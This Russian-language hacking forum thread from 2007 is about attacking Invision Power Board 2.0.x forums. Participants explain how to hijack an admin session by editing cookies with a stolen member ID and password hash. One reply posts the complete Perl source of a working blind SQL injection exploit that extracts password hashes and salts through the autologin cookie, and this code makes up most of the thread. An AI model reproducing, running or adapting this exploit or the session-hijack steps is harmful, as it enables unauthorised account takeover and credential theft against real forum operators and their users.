Вопрос по сплойту r57ipb2

Discussion in 'Песочница' started by faf, 7 Feb 2007.

  1. faf

    faf New Member

    Joined:
    7 Jan 2007
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    На сколько я знаю со 2 линейки ипб пароль в виде хэша идет с солью... Юзая сплойт r57ipb2 к ипб 2.0.3, я получил следующее:
    MEMBER ID : 1 admin
    MEMBER_LOGIN_KEY : c806156cb085a1495ad8706d2f9dc450

    Почему хэш без соли? И если его расшифровать, то полученный пасс точно подойдет или только с % тоностью?
     
  2. kot777

    kot777 O-la-la!

    Joined:
    13 Aug 2004
    Messages:
    588
    Likes Received:
    435
    Reputations:
    454
    Опции в сплоите переключи на pass_hash и salt из таблицы ibf_members_converge...Пасс подойдет 100% если его не сменят конечно в процессе расшифровки твоей.
     
  3. Fr-Ron

    Fr-Ron Elder - Старейшина

    Joined:
    10 Sep 2006
    Messages:
    184
    Likes Received:
    72
    Reputations:
    13
    Гык, под 20* сплойты не юзал, но могу предположить, что этот сплой забирает только куки. Читай внимательней описание =)
    У тебя есть pass_hash. Он хранится в куках. А соль хранится в БД, поэтому достать ее можно инъекцией (или прямиком из админки =) ). Расшифровать без соли нельзя. а если она буде, то пасс либо вобще не рсшифруется (напимер qjbr37@иы!) или расшифрутеся со 100% точностью (qwerty, bobik, nmzt3 и тэ.дэ.).
    С тес чтоо есть у тебя, ты можешь только залогинитьтся за админа, но в админку ты не попадешь, ибо там пароль спрашивают. Чтоб зайти за админа : 1) Логинишься за себя, ставишь галочку "Запомнить меня" 2) Открываешь редактоор куков, удаляешь сессию, ид = 1, хэш = c806156cb085a1495ad8706d2f9dc450, ну и т.д. Потом просто рефрешь и ты под админом
     
  4. faf

    faf New Member

    Joined:
    7 Jan 2007
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    2kot777
    Эмм... А можно поподробней, как переключить опции?
     
  5. faf

    faf New Member

    Joined:
    7 Jan 2007
    Messages:
    20
    Likes Received:
    1
    Reputations:
    0
    Еще юзал сплойт не знаю название, но вот копирайты начальные:
    ## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team.
    ## for stealing converge_pass_salt value from ipb database
    ## on some ipb forums it steals the legacy_password which is the first md5
    ## hash of the target password.
    ## vulnerable forum versions : 2.* (<2.0.4)
    ## tested on version 2.0.2
    ## * work on mysql 4.0, 4.1 versions
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
    ## coded by Coyl

    Скачивал этот сплойт вместе с видео на этом сайте... Но у меня немного другая ситуация, этот сплойт мне выдал:
    SIMPLE PASS HASH : 99549910054100561029750101535010099555457485649485757519749100561025057
    тоже не ясно что с этим делать...
     
  6. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    Code:
    #!/usr/bin/perl 
    
    ## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team. 
    ## for stealing converge_pass_salt value from ipb database 
    ## on some ipb forums it steals the legacy_password which is the first md5 
    ## hash of the target password. 
    ## vulnerable forum versions : 2.* (<2.0.4) 
    ## tested on version 2.0.2 
    ## * work on mysql 4.0, 4.1 versions 
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) 
    ## coded by Coyl 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    ## screen: 
    ## ~~~~~~~ 
    ## /ipb.pl 127.0.0.1 /fo/ 1 
    ## [~] SERVER : 127.0.0.1 
    ## [~] PATH : /fo/ 
    ## [~] MEMBER ID : 1 
    ## [~] VALUE TO STEAL : 
    ## [~] SEARCHING THE EASIEST WAY... [ FAILED ] 
    ## [~] SEARCHING THE SALT [\5][ DONE ] 
    ## 
    ## SALT : UoU1o 
    ## 
    ## [~] SEARCHING THE PASS HASH [/32][ DONE ] 
    ## 
    ## PASS HASH : 1ab2bc1f32f231f234313444233d 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    ## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    
    use IO::Socket; 
    
    if (@ARGV < 3) { &usage; } 
    
    $enum=0; 
    $cookie = 1; 
    $server = $ARGV[0]; 
    $path = $ARGV[1]; 
    $member_id = $ARGV[2]; 
    $prefix = ($ARGV[3])?($ARGV[3]):("ibf_"); 
    
    
    
    $server =~ s!(http:\/\/)!!; 
    
    $request = 'http://'; 
    $request .= $server; 
    $request .= $path; 
    
    $s_num = 1; 
    $|++; 
    $n = 0; 
    
    print "[~] SERVER : $server\r\n"; 
    print "[~] PATH : $path\r\n"; 
    print "[~] MEMBER ID : $member_id\r\n"; 
    print "[~] VALUE TO STEAL : \r\n"; 
    print "[~] SEARCHING THE EASIEST WAY... [|0]"; 
    
    ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
    $flag=0; 
    $field=1; 
    LOOP: while(1) 
    { 
    $pass = ($field)?('converge_pass_hash'):('converge_pass_salt'); 
    
    if($field) { if(&found(96,123)==0) { &found(47,58)}} 
    if(!$field&&$flag) { &found(33,126) } 
    
    $char = $i; 
    
    if ($char=="0") 
    { 
    if(length($allchar) > 0){ 
    print qq{[ DONE ] 
    }; 
    if (!$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";} 
    else 
    { 
    print (($field)?("\r\n PASS HASH : "):("\r\n SALT : ")); 
    print $allchar."\r\n\r\n"; 
    $allchar=''; 
    $enum=0; 
    $s_num=1; 
    $field++; 
    if (!($field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP}; 
    } 
    } 
    else 
    { 
    if (!$flag) 
    { 
    print "$back FAILED ]\r\n"; 
    print "[~] SEARCHING THE SALT [|0]"; 
    $flag=1; 
    $field=0; 
    redo LOOP; 
    } 
    if ($flag) 
    { 
    print "$back FAILED ]\r\n"; 
    } 
    } 
    exit(); 
    } 
    else 
    { $allchar .= chr($char); 
    $enum++; 
    }
    $s_num++; 
    } 
    
    sub found($$) 
    { 
    my $fmin = $_[0]; 
    my $fmax = $_[1]; 
    if (($fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; } 
    
    $r = int($fmax - ($fmax-$fmin)/2); 
    $check = " BETWEEN $r AND $fmax"; 
    if ( &check($check) ) { &found($r,$fmax); } 
    else { &found($fmin,$r); } 
    } 
    
    sub crack($$) 
    { 
    my $cmin = $_[0]; 
    my $cmax = $_[1]; 
    $i = $cmin; 
    while ($i<$cmax) 
    { 
    $crcheck = "=$i"; 
    if ( &check($crcheck) ) { return $i; } 
    $i++; 
    } 
    $i = 0; 
    return $i; 
    } 
    
    sub check($) 
    { 
    $n++; 
    status(); 
    $ccheck = $_[0]; 
    $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"; 
    $eas="1%2527+OR+%28id%3D"; 
    $pass_hash1 = ($flag)?($non):($eas); 
    $pass_hash2 = "+AND+ascii%28substring%28"; 
    $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*"; 
    $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; 
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80"); 
    
    printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n", 
    $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3); 
    
    while(<$socket>) 
    { 
    if (/Set-Cookie: session_id=0;/) { 
    return 1; } 
    } 
    
    
    return 0; 
    } 
    
    sub status() 
    { 
    $status = $n % 5; 
    if ($enum<10) {$back="\b\b\b";} 
    else {$back="\b\b\b\b"}; 
    if($status==0){ print "$back\\$enum]"; } 
    if($status==1){ print "$back-$enum]"; } 
    if($status==2){ print "$back/$enum]"; } 
    if($status==3){ print "$back|$enum]"; } 
    } 
    
    sub usage() 
    { 
    print q( 
    Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified 
    -------------------------------------------------------------------- 
    USAGE: 
    ~~~~~~ 
    r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal] 
    
    [server] - host where IPB installed 
    [/folder/] - folder where IPB installed 
    [member_id]- user id for brute 
    [prefix] - database prefix \(ibf_ by default\) 
    
    e.g. ipb.pl 127.0.0.1 / 1 ipb_ 
    -------------------------------------------------------------------- 
    coded by Coyl. CiaNeeD team. 
    -------------------------------------------------------------------- 
    greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru 
    -------------------------------------------------------------------- 
    ); 
    exit(); 
    }
    
    Сплойт который ты юзал нужно подредактировать и тогда он будет работать!
    Этот же сплойт только подправленный, ищет либо легаси пас (MD5) или пасс и соль!
     
    #6 maxster, 8 Feb 2007
    Last edited: 8 Feb 2007
Loading...
Similar Threads - Вопрос сплойту r57ipb2
  1. gilo20
    Replies:
    2
    Views:
    2,480
  2. Dobi768
    Replies:
    2
    Views:
    2,404
  3. avva99on
    Replies:
    0
    Views:
    2,402